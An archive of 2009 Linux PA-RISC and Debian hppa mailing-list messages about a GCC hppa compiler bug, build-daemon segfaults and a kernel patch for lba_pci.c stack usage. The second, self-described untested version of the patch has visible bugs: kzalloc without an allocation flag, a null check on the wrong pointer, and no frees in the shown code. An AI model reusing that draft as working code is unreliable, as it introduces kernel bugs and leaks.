	by complete.lackof.org (Postfix) with ESMTP id 5ED1233E0002;
	Sat, 20 Jun 2009 15:57:20 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NSv5F18q-TeW; Sat, 20 Jun 2009 15:57:19 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id B794E33E0066; Sat, 20 Jun 2009 15:57:19 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090620174838.GA22999@roeckx.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1788 gmane.linux.debian.ports.hppa:5781 gmane.linux.debian.devel.release:30864
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1788>

On Sat, Jun 20, 2009 at 07:48:38PM +0200, Kurt Roeckx wrote:
...
> I know how to file gcc bugs.  I've just filed one.  I didn't
> have time to try and reduce the testcase, and I can't try
> different versions of g++ yet.  I've asked to have different
> versions installed on paer.
> 
> The bug report is at:
> http://gcc.gnu.org/PR40505

Kurt - thanks for filing the bug.

> > It takes less than five minutes to generate the above information and
> > file a bug report.
> 
> I've never been able to file any (non-automated) bug report in
> 5 minutes.  And if you don't even have direct access to the
> hardware it takes longer.

I agree. I'm trying to build netgen here too and if the ICE is easy to
reproduce, can make that available to danglin and add to the bugreport.  

thanks again,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 18:25:20 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20090620222521.93CB44EF8@hiauly1.hia.nrc.ca>
References: <20090620215719.GA853@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245536739 18600 80.91.229.12 (20 Jun 2009 22:25:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 22:25:39 +0000 (UTC)
Cc: kurt@roeckx.be, luk@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 00:25:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI90B-000078-KW
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 00:25:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755891AbZFTWZV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 18:25:21 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755073AbZFTWZV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 18:25:21 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2850 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754838AbZFTWZU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 18:25:20 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 93CB44EF8; Sat, 20 Jun 2009 18:25:21 -0400 (EDT)
In-Reply-To: <20090620215719.GA853@lackof.org> from "Grant Grundler" at Jun 20, 2009 03:57:19 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1789 gmane.linux.debian.ports.hppa:5782 gmane.linux.debian.devel.release:30865
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1789>

> > I've never been able to file any (non-automated) bug report in
> > 5 minutes.  And if you don't even have direct access to the
> > hardware it takes longer.
> 
> I agree. I'm trying to build netgen here too and if the ICE is easy to
> reproduce, can make that available to danglin and add to the bugreport.  

There's no problem reproducing the ICE.

I've pretty much localized the problem.  It's a GCC middle-end bug.
The problem is in passing a complex double from a thunk.  The hppa
specification says that values larger than 64 bits are passed by
reference in the 32-bit runtime.  However, the value is in a pair
of registers and not copied to memory.  This doesn't happen in calls
from normal functions because the value gets copied to a stack slot.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 18:44:39 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <20090620224440.203144EF8@hiauly1.hia.nrc.ca>
References: <20090619154324.GA26579@durotan.0x539.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245537888 20892 80.91.229.12 (20 Jun 2009 22:44:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 22:44:48 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, kurt@roeckx.be,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: pkern@debian.org (Philipp Kern)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 00:44:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9Ii-0004jr-EN
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 00:44:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752803AbZFTWoi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 18:44:38 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754741AbZFTWoi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 18:44:38 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2854 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752803AbZFTWoi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 18:44:38 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 203144EF8; Sat, 20 Jun 2009 18:44:39 -0400 (EDT)
In-Reply-To: <20090619154324.GA26579@durotan.0x539.de> from "Philipp Kern" at Jun 19, 2009 05:43:24 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1790 gmane.linux.debian.ports.hppa:5783 gmane.linux.debian.devel.release:30866
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1790>

> On Fri, Jun 19, 2009 at 05:15:26PM +0200, Kurt Roeckx wrote:
> > Here is a list of packages that failed to build because of instability
> > on the buildds today:
> > package     | buildd   | error
> > qgit        | penalosa | make: *** [install] Segmentation fault
> > acpica-unix | peri     | make: *** [install] Segmentation fault
> 
> I had those random segfaults in make on paer too, until we switched to the
> UP kernel, at least from what I saw.

Based on my experience with building GCC, a recent UP kernel (e.g., 2.6.30)
will avoid the random segfault problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 16:46:13 -0600
Lines: 40
Approved: news@gmane.org
Message-ID: <20090620224613.GB853@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245537978 21098 80.91.229.12 (20 Jun 2009 22:46:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 22:46:18 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 00:46:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9KB-0004jr-Mn
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 00:46:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751147AbZFTWqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 18:46:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751200AbZFTWqL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 18:46:11 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:47603 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751147AbZFTWqK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 18:46:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 965BD33E005A;
	Sat, 20 Jun 2009 16:46:13 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RTA4dwvOsKkz; Sat, 20 Jun 2009 16:46:13 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 38DB133E0066; Sat, 20 Jun 2009 16:46:13 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1791
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1791>

gcc 4.4 warns about:
drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes

The problem is we declare two large structures on the stack. They don't need
to be on the stack since they are only used during LBA initialization (which
is serialized). Moving to be "static".

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
---

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..7535cb3 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,13 +980,17 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
 	int i;
 
+	/* We don't need additional locking around the use of pdc_pat_cell
+	**  since init time PDC device discovery is already serialized.
+	*/
+	static pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
+	static pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
 				PA_VIEW, & pa_pdc_cell);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 17:07:51 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20090620230751.GC853@lackof.org>
References: <20090620215719.GA853@lackof.org> <20090620222521.93CB44EF8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245539277 23727 80.91.229.12 (20 Jun 2009 23:07:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:07:57 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>, kurt@roeckx.be,
	luk@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:07:54 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9f7-0001NU-OT
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:07:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275AbZFTXHt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:07:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751888AbZFTXHt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:07:49 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:44242 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751275AbZFTXHs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:07:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8D29A33E005A;
	Sat, 20 Jun 2009 17:07:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xQV+VnnXp8x8; Sat, 20 Jun 2009 17:07:51 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 0B23D33E0066; Sat, 20 Jun 2009 17:07:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090620222521.93CB44EF8@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1792 gmane.linux.debian.ports.hppa:5784 gmane.linux.debian.devel.release:30867
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1792>

On Sat, Jun 20, 2009 at 06:25:20PM -0400, John David Anglin wrote:
> > > I've never been able to file any (non-automated) bug report in
> > > 5 minutes.  And if you don't even have direct access to the
> > > hardware it takes longer.
> > 
> > I agree. I'm trying to build netgen here too and if the ICE is easy to
> > reproduce, can make that available to danglin and add to the bugreport.  
> 
> There's no problem reproducing the ICE.

Indeed...already failed for me.

> I've pretty much localized the problem.  It's a GCC middle-end bug.
> The problem is in passing a complex double from a thunk.  The hppa
> specification says that values larger than 64 bits are passed by
> reference in the 32-bit runtime.  However, the value is in a pair
> of registers and not copied to memory.  This doesn't happen in calls
> from normal functions because the value gets copied to a stack slot.

I'm slightly confused about "stack slot". Could the "pass by reference"
refer to the address in the stack?

Anyway, thanks for quickly tracking this down.

grant

> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 17:11:51 -0600
Lines: 84
Approved: news@gmane.org
Message-ID: <20090620231151.GA21477@lackof.org>
References: <20090620224613.GB853@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1245539532 24312 80.91.229.12 (20 Jun 2009 23:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:12:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:12:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9jE-0002UZ-Gs
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:12:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751275AbZFTXLt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:11:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751370AbZFTXLt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:11:49 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:48114 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751275AbZFTXLs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:11:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 7C83C33E005A;
	Sat, 20 Jun 2009 17:11:51 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Nf7Q8zv+orjh; Sat, 20 Jun 2009 17:11:51 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 1E1FC33E0066; Sat, 20 Jun 2009 17:11:51 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090620224613.GB853@lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1793
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1793>

On Sat, Jun 20, 2009 at 04:46:13PM -0600, Grant Grundler wrote:
> gcc 4.4 warns about:
> drivers/parisc/lba_pci.c: In function 'lba_pat_resources':
> drivers/parisc/lba_pci.c:1099: warning: the frame size of 8280 bytes is larger than 4096 bytes
> 
> The problem is we declare two large structures on the stack. They don't need
> to be on the stack since they are only used during LBA initialization (which
> is serialized). Moving to be "static".

Take 2. Per Kyle's request (offlist), use kzalloc instead since it's not
ever used again after boot.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

----
Not tested! Need to fix other b0rkage before I can test.
And feel free to use either version of this patch. Both are trivial.

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..6585c29 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -980,28 +980,38 @@ static void
 lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 {
 	unsigned long bytecnt;
-	pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;	/* PA_VIEW */
-	pdc_pat_cell_mod_maddr_block_t io_pdc_cell;	/* IO_VIEW */
 	long io_count;
 	long status;	/* PDC return status */
 	long pa_count;
+	pdc_pat_cell_mod_maddr_block_t *pa_pdc_cell;	/* PA_VIEW */
+	pdc_pat_cell_mod_maddr_block_t *io_pdc_cell;	/* IO_VIEW */
 	int i;
 
+	pa_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
+	if (!pa_pdc_cell)
+		return;
+
+	io_pdc_cell = kzalloc(sizeof(pdc_pat_cell_mod_maddr_block_t));
+	if (!pa_pdc_cell) {
+		kfree(pa_pdc_cell);
+		return;
+	}
+
 	/* return cell module (IO view) */
 	status = pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				PA_VIEW, & pa_pdc_cell);
-	pa_count = pa_pdc_cell.mod[1];
+				PA_VIEW, pa_pdc_cell);
+	pa_count = pa_pdc_cell->mod[1];
 
 	status |= pdc_pat_cell_module(&bytecnt, pa_dev->pcell_loc, pa_dev->mod_index,
-				IO_VIEW, &io_pdc_cell);
-	io_count = io_pdc_cell.mod[1];
+				IO_VIEW, io_pdc_cell);
+	io_count = io_pdc_cell->mod[1];
 
 	/* We've already done this once for device discovery...*/
 	if (status != PDC_OK) {
 		panic("pdc_pat_cell_module() call failed for LBA!\n");
 	}
 
-	if (PAT_GET_ENTITY(pa_pdc_cell.mod_info) != PAT_ENTITY_LBA) {
+	if (PAT_GET_ENTITY(pa_pdc_cell->mod_info) != PAT_ENTITY_LBA) {
 		panic("pdc_pat_cell_module() entity returned != PAT_ENTITY_LBA!\n");
 	}
 
@@ -1016,8 +1026,8 @@ lba_pat_resources(struct parisc_device *pa_dev, struct lba_device *lba_dev)
 		} *p, *io;
 		struct resource *r;
 
-		p = (void *) &(pa_pdc_cell.mod[2+i*3]);
-		io = (void *) &(io_pdc_cell.mod[2+i*3]);
+		p = (void *) &(pa_pdc_cell->mod[2+i*3]);
+		io = (void *) &(io_pdc_cell->mod[2+i*3]);
 
 		/* Convert the PAT range data to PCI "struct resource" */
 		switch(p->type & 0xff) {
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Sat, 20 Jun 2009 19:25:45 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090620232546.162BC4EF8@hiauly1.hia.nrc.ca>
References: <20090620230751.GC853@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245540355 25747 80.91.229.12 (20 Jun 2009 23:25:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:25:55 +0000 (UTC)
Cc: grundler@parisc-linux.org, kurt@roeckx.be, luk@debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 01:25:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MI9wU-00057G-8S
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 01:25:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751762AbZFTXZo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 19:25:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751604AbZFTXZo
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 19:25:44 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2861 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751275AbZFTXZo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 19:25:44 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 162BC4EF8; Sat, 20 Jun 2009 19:25:45 -0400 (EDT)
In-Reply-To: <20090620230751.GC853@lackof.org> from "Grant Grundler" at Jun 20, 2009 05:07:51 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1794 gmane.linux.debian.ports.hppa:5785 gmane.linux.debian.devel.release:30868
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1794>

> > I've pretty much localized the problem.  It's a GCC middle-end bug.
> > The problem is in passing a complex double from a thunk.  The hppa
> > specification says that values larger than 64 bits are passed by
> > reference in the 32-bit runtime.  However, the value is in a pair
> > of registers and not copied to memory.  This doesn't happen in calls
> > from normal functions because the value gets copied to a stack slot.
> 
> I'm slightly confused about "stack slot". Could the "pass by reference"
> refer to the address in the stack?

The reference can refer to a location on the stack (region allocated
for locals).  However, values larger than 64 bits can't be passed in the
argument slots.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][linux-2.6] Fix gcc 4.4 warning in lba_pci.c
Date: Sat, 20 Jun 2009 18:26:15 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <1245540375.31688.2.camel@mulgrave.site>
References: <20090620224613.GB853@lackof.org>
	 <20090620231151.GA21477@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245540386 25791 80.91.229.12 (20 Jun 2009 23:26:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Jun 2009 23:26:26 +0000 (UTC)
